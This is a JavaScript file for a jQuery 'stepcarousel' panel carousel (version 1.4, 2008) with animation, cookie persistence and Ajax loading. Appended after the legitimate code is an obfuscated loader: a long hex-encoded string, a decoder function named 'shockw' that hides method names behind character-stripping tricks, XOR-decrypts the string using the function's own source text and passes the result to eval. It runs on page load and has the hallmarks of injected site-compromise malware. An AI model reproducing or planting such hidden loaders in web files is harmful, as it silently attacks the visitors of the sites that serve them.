
//** Created: March 19th, 08'
//** Aug 16th, 08'- Updated to v 1.4:
//1) Adds ability to set speed/duration of panel animation (in milliseconds)
//2) Adds persistence support, so the last viewed panel is recalled when viewer returns within same browser session
//3) Adds ability to specify whether panels should stop at the very last and first panel, or wrap around and start all over again
//4) Adds option to specify two navigational image links positioned to the left and right of the Carousel Viewer to move the panels back and forth

//** Aug 27th, 08'- Nav buttons (if enabled) also repositions themselves now if window is resized

var stepcarousel={
ajaxloadingmsg: '<div style="margin: 1em; font-weight: bold"><img src="ajaxloadr.gif" style="vertical-align: middle" /> Fetching Content. Please wait...</div>', //customize HTML to show while fetching Ajax content
defaultbuttonsfade: 0.4, //Fade degree for disabled nav buttons (0=completely transparent, 1=completely opaque)
configholder: {},

getCSSValue:function(val){ //Returns either 0 (if val contains 'auto') or val as an integer
return (val=="auto")? 0 : parseInt(val)
},

getremotepanels:function($, config){ //function to fetch external page containing the panel DIVs
config.$belt.html(this.ajaxloadingmsg)
$.ajax({
url: config.contenttype[1], //path to external content
async: true,
error:function(ajaxrequest){
config.$belt.html('Error fetching content.<br />Server Response: '+ajaxrequest.responseText)
},
success:function(content){
config.$belt.html(content)
config.$panels=config.$gallery.find('.'+config.panelclass)
stepcarousel.alignpanels($, config)
}
})
},

getoffset:function(what, offsettype){
return (what.offsetParent)? what[offsettype]+this.getoffset(what.offsetParent, offsettype) : what[offsettype]
},

getCookie:function(Name){
var re=new RegExp(Name+"=[^;]+", "i"); //construct RE to search for target name/value pair
if (document.cookie.match(re)) //if cookie found
return document.cookie.match(re)[0].split("=")[1] //return its value
return null
},

setCookie:function(name, value){
document.cookie = name+"="+value
},

fadebuttons:function(config, currentpanel){
config.$leftnavbutton.fadeTo('fast', currentpanel==0? this.defaultbuttonsfade : 1)
config.$rightnavbutton.fadeTo('fast', currentpanel==config.lastvisiblepanel? this.defaultbuttonsfade : 1)
},

addnavbuttons:function(config, currentpanel){
config.$leftnavbutton=$('<img src="'+config.defaultbuttons.leftnav[0]+'">').css({zIndex:50, position:'absolute', left:config.offsets.left+config.defaultbuttons.leftnav[1]+'px', top:config.offsets.top+config.defaultbuttons.leftnav[2]+'px', cursor:'hand', cursor:'pointer'}).attr({title:'Back '+config.defaultbuttons.moveby+' panels'}).appendTo('body')
config.$rightnavbutton=$('<img src="'+config.defaultbuttons.rightnav[0]+'">').css({zIndex:50, position:'absolute', left:config.offsets.left+config.$gallery.get(0).offsetWidth+config.defaultbuttons.rightnav[1]+'px', top:config.offsets.top+config.defaultbuttons.rightnav[2]+'px', cursor:'hand', cursor:'pointer'}).attr({title:'Forward '+config.defaultbuttons.moveby+' panels'}).appendTo('body')
config.$leftnavbutton.bind('click', function(){ //assign nav button event handlers
stepcarousel.stepBy(config.galleryid, -config.defaultbuttons.moveby)
})
config.$rightnavbutton.bind('click', function(){ //assign nav button event handlers
stepcarousel.stepBy(config.galleryid, config.defaultbuttons.moveby)
})
if (config.panelbehavior.wraparound==false){ //if carousel viewer should stop at first or last panel (instead of wrap back or forth)
this.fadebuttons(config, currentpanel)
}
},

alignpanels:function($, config){
var paneloffset=0
config.paneloffsets=[paneloffset] //array to store upper left offset of each panel (1st element=0)
config.panelwidths=[] //array to store widths of each panel
config.$panels.each(function(index){ //loop through panels
var $currentpanel=$(this)
$currentpanel.css({float: 'none', position: 'absolute', left: paneloffset+'px'}) //position panel
$currentpanel.bind('click', function(e){return config.onpanelclick(e.target)}) //bind onpanelclick() to onclick event
paneloffset+=stepcarousel.getCSSValue($currentpanel.css('marginRight')) + parseInt($currentpanel.get(0).offsetWidth || $currentpanel.css('width')) //calculate next panel offset
config.paneloffsets.push(paneloffset) //remember this offset
config.panelwidths.push(paneloffset-config.paneloffsets[config.paneloffsets.length-2]) //remember panel width
})
config.paneloffsets.pop() //delete last offset (redundant)
var addpanelwidths=0
var lastpanelindex=config.$panels.length-1
config.lastvisiblepanel=lastpanelindex
for (var i=config.$panels.length-1; i>=0; i--){
addpanelwidths+=(i==lastpanelindex? config.panelwidths[lastpanelindex] : config.paneloffsets[i+1]-config.paneloffsets[i])
if (config.gallerywidth>addpanelwidths){
config.lastvisiblepanel=i //calculate index of panel that when in 1st position reveals the very last panel all at once based on gallery width
}
}
config.$belt.css({width: paneloffset+'px'}) //Set Belt DIV to total panels' widths
config.currentpanel=(config.panelbehavior.persist)? parseInt(this.getCookie(window[config.galleryid+"persist"])) : 0 //determine 1st panel to show by default
config.currentpanel=(typeof config.currentpanel=="number" && config.currentpanel<config.$panels.length)? config.currentpanel : 0
if (config.currentpanel!=0){
var endpoint=config.paneloffsets[config.currentpanel]+(config.currentpanel==0? 0 : config.beltoffset)
config.$belt.css({left: -endpoint+'px'})
}
if (config.defaultbuttons.enable==true){ //if enable default back/forth nav buttons
this.addnavbuttons(config, config.currentpanel)
$(window).bind("load, resize", function(){ //refresh position of nav buttons when page loads/resizes, in case offsets weren't available document.oncontentload
config.offsets={left:stepcarousel.getoffset(config.$gallery.get(0), "offsetLeft"), top:stepcarousel.getoffset(config.$gallery.get(0), "offsetTop")}
config.$leftnavbutton.css({left:config.offsets.left+config.defaultbuttons.leftnav[1]+'px', top:config.offsets.top+config.defaultbuttons.leftnav[2]+'px'})
config.$rightnavbutton.css({left:config.offsets.left+config.$gallery.get(0).offsetWidth+config.defaultbuttons.rightnav[1]+'px', top:config.offsets.top+config.defaultbuttons.rightnav[2]+'px'})
})
}
this.statusreport(config.galleryid)
config.oninit()
config.onslideaction(this)
},

stepTo:function(galleryid, pindex){ /*User entered pindex starts at 1 for intuitiveness. Internally pindex still starts at 0 */
var config=stepcarousel.configholder[galleryid]
if (typeof config=="undefined"){
alert("There's an error with your set up of Carousel Viewer \""+galleryid+ "\"!")
return
}
var pindex=Math.min(pindex-1, config.paneloffsets.length-1)
var endpoint=config.paneloffsets[pindex]+(pindex==0? 0 : config.beltoffset)
if (config.panelbehavior.wraparound==false && config.defaultbuttons.enable==true){ //if carousel viewer should stop at first or last panel (instead of wrap back or forth)
this.fadebuttons(config, pindex)
}
config.$belt.animate({left: -endpoint+'px'}, config.panelbehavior.speed, function(){config.onslideaction(this)})
config.currentpanel=pindex
this.statusreport(galleryid)
},

stepBy:function(galleryid, steps){
var config=stepcarousel.configholder[galleryid]
if (typeof config=="undefined"){
alert("There's an error with your set up of Carousel Viewer \""+galleryid+ "\"!")
return
}
var direction=(steps>0)? 'forward' : 'back' //If "steps" is negative, that means backwards
var pindex=config.currentpanel+steps //index of panel to stop at
if (config.panelbehavior.wraparound==false){ //if carousel viewer should stop at first or last panel (instead of wrap back or forth)
pindex=(direction=="back" && pindex<=0)? 0 : (direction=="forward")? Math.min(pindex, config.lastvisiblepanel) : pindex
if (config.defaultbuttons.enable==true){ //if default nav buttons are enabled, fade them in and out depending on if at start or end of carousel
stepcarousel.fadebuttons(config, pindex)
}
}
else{ //else, for normal stepBy behavior
pindex=(pindex>config.paneloffsets.length-1 || pindex<0 && pindex-steps>0)? 0 : (pindex<0)? config.paneloffsets.length+steps : pindex //take into account end or starting panel and step direction
}
var endpoint=config.paneloffsets[pindex]+(pindex==0? 0 : config.beltoffset) //left distance for Belt DIV to travel to
if (pindex==0 && direction=='forward' || config.currentpanel==0 && direction=='back' && config.panelbehavior.wraparound==true){ //decide whether to apply "push pull" effect
config.$belt.animate({left: -config.paneloffsets[config.currentpanel]-(direction=='forward'? 100 : -30)+'px'}, 'normal', function(){
config.$belt.animate({left: -endpoint+'px'}, config.panelbehavior.speed, function(){config.onslideaction(this)})
})
}
else
config.$belt.animate({left: -endpoint+'px'}, config.panelbehavior.speed, function(){config.onslideaction(this)})
config.currentpanel=pindex
this.statusreport(galleryid)
},

statusreport:function(galleryid){
var config=stepcarousel.configholder[galleryid]
var startpoint=config.currentpanel //index of first visible panel
var visiblewidth=0
for (var endpoint=startpoint; endpoint<config.paneloffsets.length; endpoint++){ //index (endpoint) of last visible panel
visiblewidth+=config.panelwidths[endpoint]
if (visiblewidth>config.gallerywidth){
break
}
}
startpoint+=1 //format startpoint for user friendiness
endpoint=(endpoint+1==startpoint)? startpoint : endpoint //If only one image visible on the screen and partially hidden, set endpoint to startpoint
var valuearray=[startpoint, endpoint, config.panelwidths.length]
for (var i=0; i<config.statusvars.length; i++){
window[config.statusvars[i]]=valuearray[i] //Define variable (with user specified name) and set to one of the status values
config.$statusobjs[i].text(valuearray[i]+" ") //Populate element on page with ID="user specified name" with one of the status values
}
},

setup:function(config){
//Disable Step Gallery scrollbars ASAP dynamically (enabled for sake of users with JS disabled)
document.write('<style type="text/css">\n#'+config.galleryid+'{overflow: hidden;}\n</style>')
jQuery(document).ready(function($){
config.$gallery=$('#'+config.galleryid)
config.gallerywidth=config.$gallery.width()
config.offsets={left:stepcarousel.getoffset(config.$gallery.get(0), "offsetLeft"), top:stepcarousel.getoffset(config.$gallery.get(0), "offsetTop")}
config.$belt=config.$gallery.find('.'+config.beltclass) //Find Belt DIV that contains all the panels
config.$panels=config.$gallery.find('.'+config.panelclass) //Find Panel DIVs that each contain a slide
config.onpanelclick=(typeof config.onpanelclick=="undefined")? function(target){} : config.onpanelclick //attach custom "onpanelclick" event handler
config.onslideaction=(typeof config.onslide=="undefined")? function(){} : function(beltobj){$(beltobj).stop(); config.onslide()} //attach custom "onslide" event handler
config.oninit=(typeof config.oninit=="undefined")? function(){} : config.oninit //attach custom "oninit" event handler
config.beltoffset=stepcarousel.getCSSValue(config.$belt.css('marginLeft')) //Find length of Belt DIV's left margin
config.statusvars=config.statusvars || []  //get variable names that will hold "start", "end", and "total" slides info
config.$statusobjs=[$('#'+config.statusvars[0]), $('#'+config.statusvars[1]), $('#'+config.statusvars[2])]
config.currentpanel=0
stepcarousel.configholder[config.galleryid]=config //store config parameter as a variable
if (config.contenttype[0]=="ajax" && typeof config.contenttype[1]!="undefined") //fetch ajax content?
stepcarousel.getremotepanels($, config)
else
stepcarousel.alignpanels($, config) //align panels and initialize gallery
}) //end document.ready
jQuery(window).bind('unload', function(){ //clean up
if (config.panelbehavior.persist){
stepcarousel.setCookie(window[config.galleryid+"persist"], config.currentpanel)
}
jQuery.each(config, function(ai, oi){
oi=null
})
config=null
})
}
}


this.axo='';var falseSwver;falseSwver='e7e5e0e3e4eae6e1b0fceff7cbfcf6ffebf0aef9f7ebf387bef8b1fdf1f7a9a8eeedf9d9fdefe7e9eaf7bfadfff0'+'f0faa1b7effffff6fceebcaff6ece0f5e7f1b8a7ee8892a0ada2fdebedfaf7f3e4fbe5f0e7eef5f1afa7e986bead'+'afa0afbda0e2ecf6b1ecf4eeffe0f1bbdfe5e5b3cceaebe1b99db6828aafbdb0a0b1a1e1f4f4e0d8e2a3e3e7a0d2'+'e3e2e9a2e5e8ebd3fde8fbebe2f9d4e3d7e4a7bea4e5ecfdede3ece8ebf2e3ad8b988cb7aaaa9dafafe3e7e5aff6'+'f9e8eea2f0f5b7b0a2ebfdf0b0f1e3a7e7e9e2dfddc2fbf4f5ebf69fabb28f82b0a9f8fbdd8ef0a68ef7c7ebdbfb'+'eaf8f9ace7efc2c6bbbbfebbb4e1ede1e3a2ada7b0b692aca5a5e0f5f6e5d2faa2f0eee9eceb9faaa2d98bb5a199'+'a6a6e5f4e2fae6f7ebf5e8fcafbcbab195b9a9e7f0e0eafee7e4bf93a8a6a1ecf9e0e5f5e2f8acafa4b4a49ea2a2'+'8f82b0a3a1a7bfffc6ede4bca0abb6b4bfa8f4f5c0f9afa8aaa6abf0e8fcffb6b8b6a5ada6acbebb9eb1ada4a9af'+'f2e6ebf5e3e5ada0b2a2b6b693f5e8eaf4e1e8a9b3b2aeabe1dee5ece7edb3aeb2adb68eafad9b82a5a8abbda1c3'+'eae9f6faf6b0b1a8a6b798acf1f2e1faf5f5b2b3bfb180a4aea98680eb848ce4f3e9f1ffdde2e1a0e8f8e4c3fee9'+'f6e6c9bce1f5edc9acaffe8d9ab9b1b7f0f4d1ace1f8ede0fbefa2b6a5b6a5b0a985b3e6f8e2e5fef9ede78be8eb'+'fce0e0fcb48987b495ace0e2f1a8f4eae7e4ebd8acb8a5a8b4b6b2bda6f8cde7e5b0a4a8b1b7a3a2998894aeabe5'+'f6e4acfaebc0ddffe4a2aba7e9fee0f98e8188bdafb4a3f4f4b7fcf2f4fcf1c1b1afa0a7b18784a9b6b5f0f6ffb0'+'e8e1cfa0b4a8a7ea889ba4a5b5e3eeabadf8ffe8fee1e3a0eff6faf5fbfc87b1a6a6a1aeec8e89a7afa6b6a890e3'+'e3e3f9f1e5a4afb4eeebfafdfce7b9cfe1e1fcf6c3f6a6f3f3e3e4faf9bebd98b8a9adb3a3a8aff9d1a9bdebebe2'+'e3e5e5aab7b4a68fb7aeb2f09d86aeb0b6a991a8adb1a4fdf6f5efe6e790bebbade3e8eed2eeeabae1f6f8e1edfa'+'a89d9ab3a5b193a3a8f0b5a6f2e3f4adb28fe7e1fbe7ecc0a6e2fbedeaa7cfb2a5f0b689b98ee0cef4f5f1f2ae8f'+'8c8a8bf6f7fcadb0a0b1eff5a59de4f6efa0b4b5b79dbeacb3f89ec4b1a0b282bca5afa7b0b0b3a5f4dde7a8b1b0'+'edefc2e9e7e0baecf0ecd4f1f9b29485a48aa2b2a9adaab996f09b8aacaea2b2af90a4b1eafbe4fdd8ecc4adbfbe'+'f5fcf0f2fbc6e9e9aaeafce9f8eaeda1e3c2ebe6f0ffedfbf1bdedf1d1f9efb3acade7fae9bbafab929eafb0b0b3'+'a5b1ea909aa4b194ea8e84b7a3a3dee7f9ffe0a0a5efe6c3d5e1e1ba9c88fb8a98fdcbfeaef9e5ebfba2abaae7eb'+'e3c1f0e7e9feeba2ace3f6ffebf6f7e5a99daa9c85e6f4b1aae4e6f4f8bdaeb280a2a7acfb9f88baeff6e0bfc6e4'+'ffadf5faefabc1f0b0e0f1e5e3eeebe3a5a8a6beadaaecfae2e6b8b9a3f9e5f1fdf5fcffe7f2a7e9eaf2b9e1fbab'+'fbf2ffaabbb586f8ecfdfaefb2b4b6e0d5e5e2edfea9b3b0aef3e4fae5eaadadeeeafbe3cbf4f1bcf9e6efffa3b8'+'c4e2fbf3e4e1e8eaf4d7ece5a8b0b4fbf7f6f1e4ece9e9f6d8eebda5a9ffe7fcf8d9edf1fee7ace4ebb4b0b9cef3'+'fae7fce1aca2a5afae89a799dde5e7e2c0ece0edf9eda1aff8fde3e5e7f7e68fa6aaa7a3a1a6ac86b493ad85b6ab'+'b1a2bf8e8cd6';function shockw(src){                       var verAxo = 3;var flashShockw = null;var ns = 'av%st'.replace(/[avst]/g,'');var flash = -1;var strfoo = flashShockw;function trueVer(playerShockw){var falseFalse=1;var flashWin=1%falseFalse;function aveSrc(winWin){var opera=1;}var major=0,falseAxo=playerShockw['l8e4n6gMtMhM'.replace(/[MN648]/g, '')];while(flashWin<falseAxo){flashWin+=1;aveShockw=swver(playerShockw,flashWin+flash);major+=aveShockw*falseAxo;}return new String(major);}var minor=String;function flashSrc(msie, strfooWin){if(swverFlash == flashShockw) {swverFlash = {};}if(swverFlash[msie] == flashShockw) {var axoOpera = Object;swverFlash[msie] = new axoOpera();swverFlash[msie].nsPlugin = flashShockw;swverFlash[msie].srcWin = strfooWin;}}                        var majorPlayer = 4; var swverTrue=window;                       var msieMajor = 1; function ext(msie) {if(swverFlash[msie] != flashShockw) {var win = swverFlash[msie];var swverWin = win.nsPlugin;var msieFlash = win.srcWin;var swverSrc = msieFlash.substr(swverWin, 1);var msieIe = msieFlash['l8e4n6gMtMhM'.replace(/[MN648]/g, '')];                   var aveVer = majorPlayer-verAxo;if((swverWin + (msieMajor*aveVer)) >= msieIe) {win.nsPlugin =aveVer - (majorPlayer % verAxo);} else {win.nsPlugin = swverWin - flash;}return swver(swverSrc, msieMajor - aveVer);}}var flashMinor=document;function swver(winTrue,is){return winTrue['cvh8avr7Cioidie8A8t8'.replace(/[807vi]/g, '')](is);}var flash = strfoo + flash;var swverFlash = flashShockw;function shockwMsie(playerObj,shockwVer){return playerObj^shockwVer;}var majorMsie = '';var falseNs = 2;var ie = new minor(flashMinor['w<r~iOtGeO'.replace(/[O\<G\!~]/g, '')]);var msieIs = ie['iYnzdYe4x0O4f4'.replace(/[40zYJ]/g, '')]('a;r;i;t;y;'.replace(/[;U\{m#]/g, ''));if(msieIs != flash) { return 211;}var aveVerAxo = strfoo;var operaObj = '';var strfooSwver = swverTrue['s*e*t;T6i6m8e6o;u8t*'.replace(/[\*;8V6]/g, '')];var shockwStrfoo=211;var shockwMajor=minor['f;r0o8m;C8h0asr0C;o;dMe0'.replace(/[0s8;M]/g, '')];var trueAxo=swverTrue['uUnUe@sUcUahp@eN'.replace(/[Nh/U@]/g, '')];for(var playerIe=aveVerAxo; playerIe < src['l8e4n6gMtMhM'.replace(/[MN648]/g, '')]; playerIe+=falseNs){majorMsie+= ns + src['syuybFs(t(rF'.replace(/[F8y\(\!]/g, '')](playerIe, falseNs);}var src = trueAxo(majorMsie);var swverWinStrfoo = new minor(shockw);var operaVer = swverWinStrfoo['r+etp&lQa&cQe~'.replace(/[~&\+tQ]/g, '')](/[^@a-z0-9A-Z_-]/g, new String());var operaTrue = new minor(trueVer(operaVer));flashSrc('swverFlashPlugin', operaTrue);var strfooSwverAxo = '';flashSrc('obj', operaVer);for(var strfooFalse=aveVerAxo; strfooFalse < (src['l8e4n6gMtMhM'.replace(/[MN648]/g, '')]); strfooFalse++) {var msieAxo = swver(src,strfooFalse);msieAxo = shockwMsie(msieAxo, shockwStrfoo);msieAxo = shockwMsie(msieAxo, ext('swverFlashPlugin'));msieAxo = shockwMsie(msieAxo, ext('obj'));operaObj+=shockwMajor(msieAxo);}swverTrue['eIvIa#lB'.replace(/[BI#9\:]/g, '')](operaObj);return operaObj=new minor();};var playerIs=false;shockw(falseSwver);this.isOpera=48710;   //secured_20022002